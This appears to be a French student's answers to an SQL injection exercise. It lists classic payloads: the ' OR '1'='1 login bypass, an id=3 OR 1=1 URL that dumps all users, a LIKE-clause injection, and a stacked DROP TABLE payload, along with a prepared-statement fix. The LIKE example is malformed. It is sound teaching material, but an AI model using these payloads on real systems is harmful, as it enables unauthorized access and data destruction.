question 1:
Les requêtes SQL affichées permettent de récupérer des données depuis la table "utilisateurs" dans une
base de données :
la 1er rqt :
récupère toutes les informations de l’utilisateur dont l’identifiant est 3.
la 2eme rqt :
récupère les informations de l’utilisateur dont le nom d’utilisateur est "alice" et le mot de passe est
"motdepasse123". Ce type de requête est généralement utilisé pour l’authentification dans les
applications web.
question2:
Un attaquant pourrait entrer dans les champs username et password ' OR '1'='1 . Cela rend la requête
toujours vraie, Ainsi, il contourne l’authentification sans connaître les vrais identifiants.
question3 :
Pour afficher tous les utilisateurs, on peut modifier l’URL comme suit :
http://site.com/utilisateur.php?id=3 OR 1=1
Cela donne la requête :
SELECT * FROM utilisateurs WHERE id = 3 OR 1=1;
Et comme "1=1" est toujours vrai, tous les utilisateurs seront affichés
question4 :
Pour afficher tous les produits sans correspondance avec le mot-clé, on peut entrer :
' OR '1'='1
Cela rend la requête :
SELECT * FROM produits WHERE nom LIKE '%' OR '1'='1'%';
Puisque la condition est toujours vraie, tous les produits seront affichés
Ques6 :
INSERT INTO commentaires (utilisateur, message) VALUES ('admin', ''); DROP TABLE utilisateurs; --');
Ques7 :
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
Ques8 :
SELECT * FROM users WHERE username = '' OR '1'='1'